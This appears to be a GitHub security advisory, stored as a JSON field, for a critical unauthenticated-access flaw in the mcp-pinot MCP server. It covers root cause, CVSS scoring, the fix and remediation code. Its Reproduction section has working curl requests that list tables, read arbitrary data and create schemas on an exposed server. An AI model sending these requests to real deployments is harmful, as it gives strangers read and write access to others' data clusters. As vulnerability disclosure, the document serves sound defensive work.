+ "details": "## Resolution\n\nFixed in [v3.1.0](https://github.com/startreedata/mcp-pinot/releases/tag/v3.1.0), released 2026-05-25. The fix was merged in [PR #95](https://github.com/startreedata/mcp-pinot/pull/95) at commit [`1c7d3f9`](https://github.com/startreedata/mcp-pinot/commit/1c7d3f9cd384854bf72c127d230bdb32299475ad).\n\nThe fix changes the default HTTP bind host to `127.0.0.1`, refuses non-loopback HTTP/HTTPS exposure unless OAuth is enabled, makes Helm exposure opt-in and OAuth-gated, and adds parser-backed single-statement read-only validation for `read-query`.\n\n## CVSS evaluation\n\nReviewed on 2026-05-25. The advisory remains **Critical** with `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = **10.0**.\n\nRationale:\n\n| Metric | Value | Reason |\n|---|---|---|\n| AV | Network | The default HTTP server bound to `0.0.0.0:8080` and accepted remote HTTP requests. |\n| AC | Low | Exploitation required only a direct MCP tool call. |\n| PR | None | OAuth was disabled by default. |\n| UI | None | No user interaction was required. |\n| S | Changed | The vulnerable MCP server used its server-side credentials to act on the separate Pinot cluster security boundary. |\n| C | High | Unauthenticated callers could read table data and cluster metadata through server-side Pinot credentials. |\n| I | High | Unauthenticated callers could create or update schemas and table configs where the server-side account had those privileges. |\n| A | High | Expensive queries and configuration mutations could degrade or disrupt Pinot availability. |\n\n# Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind\n\n## Summary\n\n`mcp-pinot` v3.0.1 (and earlier) defaults to running an HTTP MCP server bound to `0.0.0.0:8080` with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster.\n\n## Affected versions\n\n- All releases on `main`, confirmed in tags v2.1.0 through v3.0.1.\n- Affected files: `mcp_pinot/server.py`, `mcp_pinot/config.py`.\n\n## Root cause\n\nThree defaults compose to produce unauthenticated network exposure:\n\n**1. Auth is opt-in and defaults to off** (`mcp_pinot/config.py:64,328`):\n\n```python\n@dataclass\nclass ServerConfig:\n ...\n oauth_enabled: bool = False\n ...\n\ndef load_server_config() -> ServerConfig:\n return ServerConfig(\n ...\n oauth_enabled=os.getenv(\"OAUTH_ENABLED\", \"false\").lower() == \"true\",\n ...\n )\n```\n\n**2. Auth construction is gated by `oauth_enabled`** (`mcp_pinot/server.py:26-46`):\n\n```python\n_auth = None\nif server_config.oauth_enabled:\n oauth_config = load_oauth_config()\n token_verifier = JWTVerifier(...)\n _auth = OAuthProxy(...)\n\nmcp = FastMCP(\"Pinot MCP Server\", auth=_auth)\n```\n\nWhen `oauth_enabled` is false (default), `_auth` stays `None` and `FastMCP` registers all `@mcp.tool` endpoints with no authentication.\n\n**3. Default bind is all interfaces on a well-known port** (`mcp_pinot/config.py:60-61`):\n\n```python\nhost: str = \"0.0.0.0\"\nport: int = 8080\n```\n\nThe HTTP transport in `server.py:263-268` uses these values directly. Any operator following the README's HTTP transport instructions (`uv pip install`, `.env` from `.env.example`, run) ends up with a network-reachable MCP server with no auth.\n\n## Confused-deputy\n\nThe Pinot client uses server-side credentials loaded from environment variables (`mcp_pinot/config.py:285-294, 300-315`). When an unauthenticated MCP caller invokes `read_query` or any other tool, the request is executed with the server's `PINOT_TOKEN` or `PINOT_USERNAME`/`PINOT_PASSWORD`, which is typically a privileged service account. The MCP server effectively launders the caller's lack of identity into the server's privileges against the upstream cluster.\n\n## Exposed tools\n\nAll 14 tools in `mcp_pinot/server.py` are exposed without auth in the default configuration:\n\n| Tool | Impact when unauthenticated |\n|---|---|\n| `read_query` | Arbitrary SELECT against any table allowed by server-side filter (or all tables if no filter) |\n| `list_tables` | Enumerate cluster schemas |\n| `table_details`, `segment_list`, `segment_metadata_details`, `tableconfig_schema_details`, `index_column_details`, `get_schema`, `get_table_config` | Read cluster metadata |\n| `create_schema`, `update_schema` | Create or mutate Pinot schemas |\n| `create_table_config`, `update_table_config` | Create or mutate table configurations |\n| `reload_table_filters` | Reload server filter file; response leaks `previous_filters` and `new_filters` lists |\n| `test_connection` | Cluster diagnostics including host, port, scheme, database, and auth-mode |\n\n## Reproduction\n\nMinimal reproduction against a default-configured `mcp-pinot` v3.0.1 instance running on `http://victim:8080/mcp`:\n\n```bash\n# 1. Enumerate tables (no Authorization header)\ncurl -X POST http://victim:8080/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"jsonrpc\":\"2.0\",\n \"method\":\"tools/call\",\n \"params\":{\"name\":\"list_tables\",\"arguments\":{}},\n \"id\":1\n }'\n\n# 2. Read arbitrary table contents (server forwards using its own Pinot credentials)\ncurl -X POST http://victim:8080/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"jsonrpc\":\"2.0\",\n \"method\":\"tools/call\",\n \"params\":{\n \"name\":\"read_query\",\n \"arguments\":{\"query\":\"SELECT * FROM <table> LIMIT 100\"}\n },\n \"id\":2\n }'\n\n# 3. Create a new schema (write privileges)\ncurl -X POST http://victim:8080/mcp \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"jsonrpc\":\"2.0\",\n \"method\":\"tools/call\",\n \"params\":{\n \"name\":\"create_schema\",\n \"arguments\":{\n \"schemaJson\":\"{\\\"schemaName\\\":\\\"attacker_schema\\\",\\\"dimensionFieldSpecs\\\":[{\\\"name\\\":\\\"id\\\",\\\"dataType\\\":\\\"STRING\\\"}]}\"\n }\n },\n \"id\":3\n }'\n```\n\n## Severity (CVSS 3.1)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**\n\n| Metric | Value | Reason |\n|---|---|---|\n| AV (Attack Vector) | Network | Server defaults to bind on `0.0.0.0:8080` |\n| AC (Attack Complexity) | Low | No special conditions, single HTTP request |\n| PR (Privileges Required) | None | No authentication required in default config |\n| UI (User Interaction) | None | Direct unauthenticated call |\n| S (Scope) | Changed | Vulnerable MCP component grants access to a separate Pinot cluster (different security authority) |\n| C (Confidentiality) | High | Full read of any table data the server-side account can reach |\n| I (Integrity) | High | Schema and table-config writes via `create_schema`, `update_schema`, `create_table_config`, `update_table_config` |\n| A (Availability) | High | Heavy queries, malformed configs, or schema overrides can degrade or break the cluster |\n\nIf the operator restricts the bind address to `127.0.0.1` via `MCP_HOST`, AV drops to `Local` and the score reduces. But this is not the documented default.\n\n## Suggested remediation\n\nTwo independent hardenings, both recommended:\n\n**A. Refuse to start in an insecure default**, in `server.py` `main()`, fail-closed when:\n- `transport != \"stdio\"`\n- `server_config.oauth_enabled` is `False`\n- `server_config.host` is not a loopback address (e.g. not in `{\"127.0.0.1\", \"::1\", \"localhost\"}`)\n\nSample:\n\n```python\ndef _is_loopback(host: str) -> bool:\n return host in {\"127.0.0.1\", \"::1\", \"localhost\"}\n\ndef main():\n ...\n if server_config.transport != \"stdio\" and not server_config.oauth_enabled and not _is_loopback(server_config.host):\n raise SystemExit(\n \"Refusing to start: HTTP transport bound to non-loopback host \"\n f\"({server_config.host}) without OAuth. Set OAUTH_ENABLED=true or \"\n \"set MCP_HOST=127.0.0.1 for local-only access.\"\n )\n ...\n```\n\n**B. Default `oauth_enabled` to `True`** and require explicit opt-out for local development. This matches the principle of secure-by-default for network-facing services.\n\n**C. Document the threat model** in README under a \"Production deployment\" section, including:\n- Explicit warning that the server should not be exposed to untrusted networks without OAuth\n- Recommendation to set `MCP_HOST=127.0.0.1` for stdio/local-only deployments\n\n## Resources\n\n- `mcp_pinot/server.py` lines 26-46, 248-269\n- `mcp_pinot/config.py` lines 56-65, 318-330\n- FastMCP `auth` parameter behavior when `None`: https://github.com/jlowin/fastmcp\n- The Register, May 13 2026: MCP database flaws across Doris, Pinot, RDS\n\n## Reporter\n\nIndependent security researcher. Disclosed via GitHub Security Advisory, 2026-05-23.",
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